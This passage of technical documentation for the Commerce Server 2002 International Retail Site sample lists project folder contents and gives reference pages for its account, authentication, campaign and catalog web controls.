File | Description
Catalogs VB Controls.vbproj | Visual Basic .NET project file.
Catalogs VB Controls.vbproj.user | Visual Studio Project User Options.
AssemblyInfo.vb | Visual Basic Source file.
CatalogShared.vb | Visual Basic Source file.
_CatalogBrowser.ascx | Web User Control.
_CatalogBrowser.ascx.vb | Visual Basic Source file.
_CatalogNavigationTabs.ascx | Web User Control.
_CatalogNavigationTabs.ascx.vb | Visual Basic Source file.
_CatalogSearch.ascx | Web User Control.
_CatalogSearch.ascx.vb | Visual Basic Source file.
_ProductsList.ascx | Web User Control.
_ProductsList.ascx.vb | Visual Basic Source file.
AdvancedSearch.ascx | Web User Control.
AdvancedSearch.ascx.vb | Visual Basic Source file.

Retail2002\Controls\Miscellaneous Folder

This subfolder contains the project files for the miscellaneous controls. The following table lists the files contained in this subfolder.

File | Description
Miscellaneous Controls.vbproj | Visual Basic .NET project file.
Miscellaneous Controls.vbproj.user | Visual Studio Project User Options.
CompanyLogo.ascx | Web User Control.
CompanyLogo.ascx.vb | Visual Basic Source file.
CompositeHeader1.ascx | Web User Control.
CompositeHeader1.ascx.vb | Visual Basic Source file.
CompositeHeader2.ascx | Web User Control.
CompositeHeader2.ascx.vb | Visual Basic Source file.
CompositeHeader3.ascx | Web User Control.
CompositeHeader3.ascx.vb | Visual Basic Source file.
LocaleSelection.ascx | Web User Control.
LocaleSelection.ascx.vb | Visual Basic Source file.
LogoHeader.ascx | Web User Control.
LogoHeader.ascx.vb | Visual Basic Source file.
PageBottom.ascx | Web User Control.
PageBottom.ascx.vb | Visual Basic Source file.
TopLinks.ascx | Web User Control.
TopLinks.ascx.vb | Visual Basic Source file.

Retail2002\Controls\Transactions Folder

This subfolder contains the project files for the Transaction controls. The following table lists the files contained in this subfolder.

File | Description
Transaction Controls.vbproj | Visual Basic .NET project file.
Transaction Controls.vbproj.user | Visual Studio Project User Options.
AssemblyInfo.vb | Visual Basic Source file.
TxContext.vb | Visual Basic Source file.
AddToCart.ascx | Web User Control.
AddToCart.ascx.vb | Visual Basic Source file.
Cart.ascx | Web User Control.
Cart.ascx.vb | Visual Basic Source file.
CheckoutLink.ascx | Web User Control.
CheckoutLink.ascx.vb | Visual Basic Source file.
CurrencyConverter.ascx | Web User Control.
CurrencyConverter.ascx.vb | Visual Basic Source file.
MultipleShiptoSelector.ascx | Web User Control.
MultipleShiptoSelector.ascx.vb | Visual Basic Source file.
OrderPayment.ascx | Web User Control.
OrderPayment.ascx.vb | Visual Basic Source file.
OrderReceipt.ascx | Web User Control.
OrderReceipt.ascx.vb | Visual Basic Source file.
OrderShipment.ascx | Web User Control.
OrderShipment.ascx.vb | Visual Basic Source file.
OrderTotals.ascx | Web User Control.
OrderTotals.ascx.vb | Visual Basic Source file.
ShipMethodSelector.ascx | Web User Control.
ShipMethodSelector.ascx.vb | Visual Basic Source file.


Retail2002\Images Folder

This folder contains the image files for the user interface of the site. The Styles.css file largely controls the appearance of the site. This file describes the usage of most of the image files in the site.

Non-localized images for the default site language are in this folder. Localized images are in subfolders named with the applicable culture code. The International Retail Site has folders for the following languages:

  • fr-FR
  • en-US
  • ja-JP

Each folder contains localized versions of the same files:

File | Description
CompanyLogo.jpg | User interface element image.
LogoHeader.jpg | User interface element image.

Note

  • The English version of the logo is correct for German, so no localized version of it is required.

The sample catalog for the site expects to find image files in the Retail2002.Images.Catalog folder. The catalog image files are not included in the site pup file. See Setting up the International Retail Site for details about importing the catalog images.

The following table lists the files contained in the Images folder.

File | Description
Styles.css | Cascading style sheet for the site.
AdBanner.gif | Sample ad
AdButton.jpg | Sample ad
VertAdBanner.gif | Sample ad
Passport_Signin.gif | Passport sign in button
Passport_signout.gif | Passport sign out button
CanEngWelcome.gif | Canadian-English welcome flag for the local selection page.
CanFrnWelcome.gif | Canadian-French welcome flag for the local selection page.
FrnWelcome.gif | French welcome flag for the local selection page.
GermanWelcome.gif | German welcome flag for the local selection page.
JapanWelcome.gif | Japanese welcome flag for the local selection page.
USAwelcome.gif | USA-English welcome flag for the local selection page.
BoxDrk_LL.gif | User interface element image.
BoxDrk_LR.gif | User interface element image.
BoxDrk_Tab1.gif | User interface element image.
BoxDrk_Top2.gif | User interface element image.
BoxDrk_Top3.gif | User interface element image.
BoxDrk_UR.gif | User interface element image.
BoxDrk_VLB.gif | User interface element image.
BoxDrk_VLL.gif | User interface element image.
BoxDrk_VLR.gif | User interface element image.
BoxDrk_VLT.gif | User interface element image.
BoxLt_Btm.gif | User interface element image.
BoxLt_L.gif | User interface element image.
BoxLt_LL.gif | User interface element image.
BoxLt_LR.gif | User interface element image.
BoxLt_R.gif | User interface element image.
BoxLt_Top.gif | User interface element image.
BoxLt_Top1.gif | User interface element image.
BoxLt_Top2.gif | User interface element image.
BoxLt_Top3.gif | User interface element image.
BoxLt_UR.gif | User interface element image.
BtnLT_L.gif | User interface element image.
BtnLT_M.gif | User interface element image.
BtnLT_R.gif | User interface element image.
Button_L.gif | User interface element image.
Button_M.gif | User interface element image.
Button_R.gif | User interface element image.
ButtonDrk_L01.gif | User interface element image.
ButtonDrk_M.gif | User interface element image.
ButtonDrk_R.gif | User interface element image.
CompanyLogo.jpg | User interface element image.
DarkBkg.jpg | User interface element image.
LeftColumn.jpg | User interface element image.
LeftGradient.jpg | User interface element image.
RoundedCorner.gif | User interface element image.
RoundedCorner.jpg | User interface element image.
Star_0.gif | User interface element image.
Star_1.gif | User interface element image.
TabBKG.jpg | User interface element image.
TabDrk_1.gif | User interface element image.
TabDrk_2.gif | User interface element image.
TabDrk_3.gif | User interface element image.
TabLT_1.gif | User interface element image.
TabLT_2.gif | User interface element image.
TabLT_3.gif | User interface element image.


Retail2002\Pipelines Folder

This folder contains the pipeline configuration files for the site. The following table lists the files contained in the Pipelines folder.

File | Description
Advertising.PCF | Pipeline configuration file.
basket.pcf | Pipeline configuration file.
checkout.pcf | Pipeline configuration file.
Discounts.PCF | Pipeline configuration file.
product.pcf | Pipeline configuration file.
RecordEvent.pcf | Pipeline configuration file.
recvpo.pcf | Pipeline configuration file.
total.pcf | Pipeline configuration file.


Retail2002\Resources Folder

This folder contains subfolders for each language supported by the site. The Resources folder contains the following subfolders:

  • de
  • fr
  • ja

Each subfolder contains a localized copy of the Microsoft.CommerceServer.Retail2002.resources.dll file.

These files contain localized string resources for the display of text on the site.


Retail2002B2B Root Folder

This folder contains the B2B Web service. See BizTalk Integration Features for more information.

This folder contains only the B2BAdaptors subfolder.


Retail2002B2B\B2BAdaptors Folder

This folder contains the Visual Studio .NET solution file for the B2B Web service, B2B Adaptors.sln, and the subfolders for the individual adapters:

  • B2BAdaptors\CatalogAdaptor Folder
  • B2BAdaptors\OrderAdaptor Folder
  • B2BAdaptors\OrderStatusAdaptor Folder


B2BAdaptors\CatalogAdaptor Folder

The catalog adapter has two components in separate projects contained in the following subfolders:

  • ReceiveCatalog Subfolder
  • UpdateCatalog Subfolder

ReceiveCatalog Subfolder

The following table lists the files contained in this subfolder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
recCat.aspx | Web form.
recCat.aspx.resx | .NET XML Resource Template.
recCat.aspx.vb | Visual Basic Source.
ReceiveCatalog.vbproj | Visual Basic Project File.
ReceiveCatalog.vbproj.webinfo | WEBINFO File.
ReceiveCatalog.vsdisco | Web Service Dynamic Discovery File.
Styles.css | Cascading Style Sheet Document.
Web.config | Web Configuration File.

ReceiveCatalog\Bin Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.B2Badptors.ReceiveCatalog.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badptors.ReceiveCatalog.pdb | Program Debug Database.

ReceiveCatalog\Setup Subfolder

File | Description
ReceiveCatalogSetup.vbs | VBScript Script File.

UpdateCatalog Subfolder

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
recCatalog.aspx | Web form.
recCatalog.aspx.resx | .NET XML Resource Template.
recCatalog.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
UpdateCatalog.vbproj | Visual Basic Project File.
UpdateCatalog.vbproj.webinfo | WEBINFO File.
UpdateCatalog.vsdisco | Web Service Dynamic Discovery File.
Web.config | Web Configuration File.

UpdateCatalog/Bin Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.B2Badptors.UpdateCatalog.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badptors.UpdateCatalog.pdb |  | Program Debug Database.

BizTalk\Schedules Subfolder

File | Description
ReceiveCatalog.skv | SKV Document.
ReceiveCatalog.skx | SKX Document.
ReceiveCatalogExample.skv | SKV Document.
ReceiveCatalogExample.skx | SKX Document.

BizTalk\Setup Subfolder

File | Description
UpdateCatalogSetup.vbs | VBScript Script File.


B2BAdaptors\OrderAdaptor Folder

The order adaptor has two components in separate projects contained in the following subfolders:

  • OrderAdaptor\Receive Subfolder
  • OrderAdaptor\Send Subfolder

OrderAdaptor\Receive Subfolder

The Receive subfolder contains the following subfolders:

  • ReceiveOrder Subfolder
  • UpdateOrder Subfolder

ReceiveOrder Subfolder

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
ReceiveOrder.vbproj | Visual Basic Project File.
ReceiveOrder.vbproj.webinfo | WEBINFO File.
ReceiveOrder.vsdisco | Web Service Dynamic Discovery File.
recOrders.aspx | Web form.
recOrders.aspx.resx | .NET XML Resource Template.
recOrders.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

ReceiveOrder\Bin Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.B2Badptors.ReceiveOrder.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badptors.ReceiveOrder.pdb | Program Debug Database.

ReceiveOrder\Setup Subfolder

File | Description
ReceiveOrderSetup.vbs | VBScript Script File.

UpdateOrder Subfolder

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
poschema.xml | XML Document.
ReceivePO.vsdisco | Web Service Dynamic Discovery File.
recvpo.aspx | Web form.
recvpo.aspx.resx | .NET XML Resource Template.
recvpo.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
UpdateOrder.vbproj | Visual Basic Project File.
UpdateOrder.vbproj.webinfo | WEBINFO File.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

UpdateOrder\Bin Subfolder

File |  | Description
Microsoft.CommerceServer.Retail2002.B2Badptors.UpdateOrder.dll |  | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badptors.UpdateOrder.pdb |  | Program Debug Database.
Microsoft.CommerceServer.Retail2002.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.pdb | Program Debug Database.

UpdateOrder\Bin\en-US Subfolder

File | Description
Microsoft.CommerceServer.Retail2002.resources.dll | Application Extension.

UpdateOrder\BizTalk Subfolder

The UpdateOrder\BizTalk folder contains only the following subfolders:

UpdateOrder\BizTalk\DocDef Subfolder

File | Description
POSchema.xml | XML Document

UpdateOrder\BizTalk\Schedules Subfolder

File | Description
ReceivePurchaseOrder.skv | SKV Document.
ReceivePurchaseOrder.skx | SKX Document.

UpdateOrder\BizTalk\Setup Subfolder

File | Description
UpdateOrderSetup.vbs | VBScript Script File.

UpdateOrder\Pipelines Subfolder

File | Description
recvpo.pcf | Pipeline Configuration File.

OrderAdaptor\Send Subfolder

The Send subfolder contains only the following subfolder:

OrderAdaptor\Send\BizTalk

The BizTalk subfolder contains the following subfolders:

BizTalk\DocDef

File | Description
POSchema.xml | XML Document.

BizTalk\Schedules

File | Description
SendPurchaseOrder.skv | SKV Document.
SendPurchaseOrder.skx | SKX Document.

BizTalk\Setup

File | Description
SendOrdersSetup.vbs | VBScript Script File.


B2BAdaptors\OrderStatusAdaptor Folder

The OrderStatusAdaptor subfolder contains the following subfolders:

  • ReceiveOrderStatus Subfolder
  • UpdateOrderStatus Subfolder

OrderStatusAdaptor\ReceiveOrderStatus

The following table lists the files contained in this subfolder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
PostStatus.vsdisco | Web Service Dynamic Discovery File.
ReceiveStatus.vbproj | Visual Basic Project File.
ReceiveStatus.vbproj.webinfo | WEBINFO File.
recPOS.aspx | Active Server Application File. Site configuration and initialization.
recPOS.aspx.resx | Resource
recPOS.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

ReceiveOrderStatus\Bin

File | Description
Microsoft.CommerceServer.Retail2002.B2Badptors.PostStatus.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badptors.PostStatus.pdb | Program Debug Database.

ReceiveOrderStatus\Setup

File | Description
ReceiveOrderStatusSetup.vbs | VBScript Script File.

OrderStatusAdaptor\UpdateOrderStatus

The following table lists the files contained in this folder.

File | Description
Global.asax | Active Server Application File. Site configuration and initialization.
Global.asax.resx | Resource
Global.asax.vb | Visual Basic Source.
recorderstatus.aspx | Web form.
recorderstatus.aspx.resx | .NET XML Resource Template.
recorderstatus.aspx.vb | Visual Basic Source.
Styles.css | Cascading Style Sheet Document.
UpdateStatus.vbproj | Visual Basic Project File.
UpdateStatus.vbproj.webinfo | WEBINFO File.
UpdateStatus.vsdisco | Web Service Dynamic Discovery File.
vbc_opt.resp | RESP File.
Web.config | Web Configuration File.

UpdateOrderStatus\Bin

File | Description
Microsoft.CommerceServer.Retail2002.B2Badptors.UpdateStatus.dll | Application Extension.
Microsoft.CommerceServer.Retail2002.B2Badptors.UpdateStatus.pdb | Program Debug Database.

UpdateOrderStatus\BizTalk

The BizTalk subfolder contains the following subfolders:

UpdateOrderStatus\BizTalk\DocDef

File | Description
AFS_OStatus_Schema.xml | XML Document.

UpdateOrderStatus\BizTalk\Schedules

File | Description
ReceiveOrderStatus.skv | SKV Document.
ReceiveOrderStatus.skx | SKX Document.

UpdateOrderStatus\BizTalk\Setup

File | Description
UpdateOrderStatusSetup.vbs | VBScript Script File.


Control Reference

This section contains reference pages for the controls in the International Retail Site. The following tables group the controls by related function.

Accounts controls

Control | Description
AccountLayout | Determines account management layout.
Addressedit | Enables the user to edit address data.
AddressView | Displays address data.
CountrySelector | Enables country/region selection.
CreditCardSelector | Enables the user to edit credit card data.
CreditCardEdit | Enables the user to select a credit card for payment.
CreditCardList | Enables the user to select a credit card to edit.
FrameControl | Provides a frame user interface element.
MyAccount | Displays user profile data and allows the user to edit the data.
Navigation | Displays a list of customized links.
NewAccount | Displays the controls necessary for creating a new (site user) account.
StateSelectorControl | Enables the user to select a state.
WelcomeUserControl | Welcomes the user by name.

Authorization controls

Control | Description
signin | Provides a sign-in form for the user to sign in.
SignInLink | Displays a sign-in or sign-out link.

Campaign controls

Control | Description
ContentItemControl | Displays ads and other content from the Content Selection Framework.

Catalogs controls

Control | Description
AdvancedSearch | Provides advanced search options.
Browser | Used for catalog and category navigation.
NavigationTabs | Displays navigation tabs.
ProductList | Displays a list of products in catalog/category.
Search | Used for keyword search within a catalog or all catalogs.
VariantDisplay | Displays variant options for user selection.

Miscellaneous controls

Control | Description
CompanyLogo | Displays the company logo on page headers.
CompositeHeader1 | Composite header control, used for grouping controls.
CompositeHeader2 | Composite header control, used for grouping controls.
CompositeHeader3 | Composite header control, used for grouping controls.
LocaleSelection | Encapsulates the functionality of the country/region and language selection on the LocaleSelection page.
LogoHeader | Encapsulates the company header.
PageBottom | Encapsulates links to static pages and the page footer.
TopLinks | Encapsulates links and the checkout button.

Transactions controls

Control | Description
AddToCart | Displays a button, which redirects control to the Cart page when clicked.
Cart | Renders the current list of products added to the shopping cart.
CheckoutLink | Displays a button, which redirects to the checkout page.
CurrencyConverterControl | Encapsulates currency conversion logic.
MultipleShiptoSelector | Allows the user to configure multiple shipments.
OrderPayment | Renders payment related information.
OrderReceipt | Displays the result of running the Checkout pipeline.
OrderShipment | Renders shipment related information.
OrderTotals | Renders order totals.
ShipMethodSelector | Encapsulates a drop-down selection box, which allows the user to select a shipment method/option.


Accounts Controls

This section contains reference pages for the user accounts controls.

Accounts Controls

Control | Description
AccountLayout | Determines account management layout.
AddressEdit | Enables the user to edit address data.
AddressView | Displays address data.
CountrySelector | Enables country/region selection.
CreditCardEdit | Enables the user to edit credit card data.
CreditCardList | Enables the user to select a credit card for payment.
CreditCardSelector | Enables the user to select a credit card to edit.
FrameControl | Provides a frame user interface element.
MyAccount | Displays user profile data and allows the user to edit the data.
Navigation | Displays a list of customized links.
NewAccount | Displays the controls necessary for creating a new (site user) account.
StateSelectorControl | Enables the user to select a state.
WelcomeUserControl | Welcomes the user by name.


AccountLayout Control

Determines account management layout.

Control Information | Location
Class Name | AccountLayout
Source | AccountLayout.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • AddressEdit
  • AddressView
  • CreditCardedit
  • MyAccount


AddressEdit Control

Enables the user to edit address data.

Control Information | Location
Web User Control | AddressEdit.ascx
Codebehind | AddressEdit.ascx.cs Inherits Microsoft.CommerceServer.Site.Accounts.AddressEditControl
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • EditAddress.aspx.vb
  • ManageAddresses.aspx
  • NewAddress.aspx

Controls

  • AddressEdit.ascx
  • AddressEdit.ascx.cs
  • NewAccount.ascx.cs


AddressView Control

Displays address data.

Control Information | Location
Web User Control |  | AddressView.ascx Inherits Microsoft.CommerceServer.Site.AddressViewControl
Codebehind |  | AddressView.ascx.cs
Project File |  | Accounts\Account Management Controls.csproj
Namespace |  | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly |  | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • ManageAddresses.aspx
  • NewAddress.aspx

Controls

  • AddressEdit.ascx
  • CreditCardedit.ascx
  • MultipleShiptoSelector.ascx
  • OrderPayment.ascx
  • OrderShipment.ascx
  • ShipMethodSelector.ascx


CountrySelector Control

Enables country/region selection.

Control Information | Location
Web User Control |  | CountrySelector.ascx Inherits Microsoft.CommerceServer.Site.CountrySelectorControl
Codebehind |  | CountrySelector.ascx.cs
Project File |  | Accounts\Account Management Controls.csproj
Namespace |  | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly |  | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • AccountLayout.cs
  • AddressEdit.ascx
  • MyAccount.ascx


CreditCardEdit Control

Enables the user to edit credit card data.

Control Information | Location
Web User Control | CreditCardEdit.ascx Inherits Microsoft.CommerceServer.Site.CreditCardEditControl
Codebehind | CreditCardEdit.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • PaymentOption.aspx


CreditCardList Control

Enables the user to select a credit card for payment.

Control Information | Location
Class Name | CreditCardList
Source | Accounts\CreditCardList.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • PaymentSelect.aspx


CreditCardSelector Control

Enables the user to select a credit card to edit.

Control Information | Location
Web User Control | CreditCardSelector.ascx Inherits Microsoft.CommerceServer.Site.CreditCardSelectorControl
Codebehind | CreditCardSelector.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • CreditCardedit.ascx


FrameControl Control

Provides a frame user interface element.

Control Information | Location
Class Name | FrameControl
Source | FrameControl.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • ManageAddresses.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx


MyAccount Control

Displays user profile data and allows the user to edit the data.

Control Information | Location
Web User Control | MyAccount.ascx Inherits Microsoft.CommerceServer.Site.MyAccountControl
Codebehind | MyAccount.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • MyAccount.aspx


Navigation Control

Displays a list of customized links.

Control Information | Location
Web User Control | Navigation.ascx Inherits Microsoft.CommerceServer.Site.NavigationControl
Codebehind | Navigation.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • ManageAddresses.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx


NewAccount Control

Displays the controls necessary for creating a new (site user) account.

Control Information | Location
Source Files | NewAccount.ascx Inherits Microsoft.CommerceServer.Site.NewAccountControl
Codebehind | NewAccount.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • NewAccount.aspx


StateSelectorControl Control

Enables the user to select a state.

Class Name | StateSelectorControl
Source | StateSelector.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • AccountLayout.cs
  • AddressEdit.ascx
  • MyAccount.ascx


WelcomeUserControl Control

Welcomes the user by name.

Class Name | WelcomeUserControl
Source | WelcomeUser.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • Default.aspx


Authentication Controls

This section contains reference pages for the authentication controls.

Authentication Controls

Control | Description
signin | Provides a sign-in form for the user to sign in.
SignInLink | Displays a sign-in or sign-out link.


SignIn Control

Provides a sign-in form for the user to sign in.

Web User Control | Signin.ascx
Codebehind | signin.ascx.vb Inherits Microsoft.CommerceServer.Site.Authentication.SignIn
Project File | Authentication\Authentication Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Authentication
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Authentication.dll

Where used

ASPX Pages

  • Login.aspx

Remarks

Provides a sign-in form for the user to sign in to the site on a SQL-based account, and provides a Microsoft Passport sign-in link for the user to sign in on their Passport account.

The Passport sign-in link is displayed only when the Passport SDK is installed on the server.


SignInLink Control

Displays a sign-in or sign-out link depending on whether or not user is currently signed in.

Source Files | SignInLink.ascx
Codebehind | SignInLink.ascx.vb Inherits Microsoft.CommerceServer.Site.Authentication.SignInLink
Project File | Authentication\Authentication Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Authentication
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Authentication.dll

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Controls

  • CompositeHeader2.ascx
  • CompositeHeader3.ascx


Campaign Controls

This section contains reference pages for the campaign controls.

Campaign Controls

Control | Description
ContentItemControl | Displays ads and other content from the Content Selection Framework.


ContentItemControl Control

Displays ads and other content from the Content Selection Framework.

Class Name | ContentItemControl
Source | ContentItem.vb
Project File | \Campaign\Campaign Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Campaign
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Campaign.dll

This control has the following design-time properties:

Property | Description
Size | Lists the available sizes as a drop-down list.
SelectionContext | Allows the user select between "advertising" and "discounts".

This control has the following run-time properties:

Property | Description
Culture | Gets or sets the culture. The default is the current culture of the site. Specify the culture in the format "<languagecode2>-<country/regioncode2>" For example, "en-US".
PageGroup | Gets or sets the PageGroup.
TraceMode | Gets or sets the trace mode. The default is False. Set to True to enable tracing.
ContentSelector | Returns the ContentSelector object.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Controls

  • CompositeHeader1.ascx
  • CompositeHeader2.ascx

Remarks

The ContentItem control is not dependent on the International Retail Site. It requires only the Commerce Server 2002 platform. If it is used without the International Retail Site, the user will need to add a page for redirection. This page will require functionality similar to that found in the Redir.aspx.vb file in the International Retail Site.

The control maintains a page history when multiple ads or discounts are shown on a page. This prevents displaying the same item multiple times on the same page and avoids industry collisions.

You can create targeting expressions using Commerce Server Business Desk that target content based on the culture.

To add this control to the Visual Studio Toolbox

  1. In Visual Studio, on the Tools menu, click CustomizeToolbox.
  2. In the Customize Toolbox dialog box, on the .NET Framework Components tab, click Browse.
  3. In the Open dialog box, navigate to <%systemdrive%>\Inetpub\wwwroot\Retail2002\bin\Microsoft.CommerceServer.Retail2002.Campaign.dll, and then click Open.
  4. In the Customize Toolbox dialog box, click OK.


Catalogs Controls

This section contains reference pages for the catalog controls.

Catalogs Controls:

Control | Description
AdvancedSearch | Provides advanced search options.
Browser | Used for catalog and category navigation.
NavigationTabs | Displays navigation tabs.
ProductList | Displays a list of products in a catalog/category.
Search | Used for keyword search within a catalog or all catalogs.
VariantDisplay | Displays variant options for user selection.


AdvancedSearch Control

Provides advanced search options.

Control | Description
Web User Control | AdvancedSearch.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.AdvancedSearch
Codebehind | AdvancedSearch.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Read-only. The catalog name entered in the advanced search control.
Keywords | Read-only. The keywords entered in the advanced search control.
DisplayNo | Read-only. Returns the number of results to display.

Where used

ASPX Pages

AdvancedSearch.aspx

Remarks

The AdvancedSearch control allows the user to specify either "AND" or "OR" relationships between search terms, and to control the number of items per page to return.


Browser Control

Provides catalog and category navigation.

Control | Description
Web User Control | Browser.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.CatalogBrowser
Codebehind | Browser.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Returns the catalog that contains the category hierarchy when in categories mode. This property is empty when in catalogs mode.
CurrentSelection | Returns the currently selected item following a Click event.
MaxNumberOfItems | Gets or sets the maximum number of items displayed in the Browser control.
Mode | Gets or sets the mode enumeration. The values are catalogs or categories.
Path | Gets the path in the catalog hierarchy to the current category when in category mode.

This control has the following methods:

Method | Description
RenderList | Renders a list of items based on the current property configuration.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • Login.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Remarks

The Browser control operates in two modes. In Catalog mode, it displays the list of Catalogs exposed through the Catalog System. In Category mode help us navigate the Category hierarchy one level at a time. It exposes the current location in the Category hierarchy as the Path property (which is used by the container page for display purposes).

The Browser control does not truncate or wrap catalog or category names. If the names are too long the control will expand to the right, which disfigures the page. The limit for the length of the names will depend on a number of factors and will need to be determined by testing.


NavigationTabs Control

Displays the navigation tabs.

Control | Description
Web User Control | NavigationTabs.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.CatalogNavigationTabs
Codebehind | CatalogNavigationTabs.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
SelectedIndex | Sets or gets the currently selected item in the tabs list by position.
Catalog | Sets or gets the currently selected catalog when the control is used in a catalog context.
Url | Gets the URL associated with the current tab selection when the control is used in contexts other than the catalog.

This control has the following methods:

Method | Description
SetTabs | Renders the control, either as the default catalog navigation tabs or as a set of configurable tabs with associated URLs.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • Login.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Remarks

The default behavior of this control is to display a tab representing the home page and tabs for the first three catalogs in the current catalog set.

The CatalogNavigationTabs control does not truncate the catalog names. If the catalog names are too long, it will limit the number of tabs that can be displayed at one time. This can impact catalog discoverability and site usability.


ProductsList Control

Displays a list of products in a catalog/category.

Control | Description
Web User Control | ProductList.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.ProductsList
Codebehind | ProductsList.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Gets or sets the current catalog.
Category | Gets or sets the current category.
Path | Gets or sets the category hierarchy for the current category.
ProductId | Gets the product ID for the currently selected item.
VariantId | Gets the variant ID for the currently selected item.
